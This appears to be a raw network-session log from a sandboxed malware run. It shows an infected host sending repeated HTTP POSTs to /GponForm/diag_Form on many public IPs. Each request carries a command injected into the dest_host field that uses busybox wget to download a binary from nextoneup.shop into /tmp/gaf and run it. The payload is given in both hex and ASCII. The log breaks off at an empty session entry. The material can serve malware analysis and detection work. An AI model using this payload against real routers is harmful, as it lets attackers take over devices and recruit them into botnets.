XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.23	53124	123.43.186.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117650032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.23	51104	42.204.239.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117793083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.23	46522	148.100.193.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117813110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.23	53036	123.192.168.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117855072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.23	56256	148.48.134.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117911100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.23	52926	42.96.18.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117959023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.23	33280	212.169.115.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.117991924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.23	44408	123.206.72.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.118033886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.23	46038	109.202.201.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:52.118119955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.23	40448	2.93.137.77	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:53.109848976 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.23	57766	2.141.207.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:53.109921932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.23	40740	79.10.245.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:53.110002995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.23	45718	5.183.24.144	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:53.110058069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.23	57992	117.237.91.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:53.110203028 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.23	56550	148.182.232.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160573959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.23	55768	202.135.114.243	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160641909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.23	56710	210.71.198.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160676003 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.23	44330	109.99.226.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160720110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.23	50190	5.4.195.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160790920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.23	58382	118.109.36.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160793066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.23	52148	79.137.65.237	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160844088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.23	59936	210.173.228.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160859108 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.23	38416	212.133.253.31	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160897017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.23	46696	79.196.116.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160937071 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.23	40400	123.72.22.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.160984039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.23	34104	123.249.80.33	443

Timestamp	Bytes transferred	Direction	Data
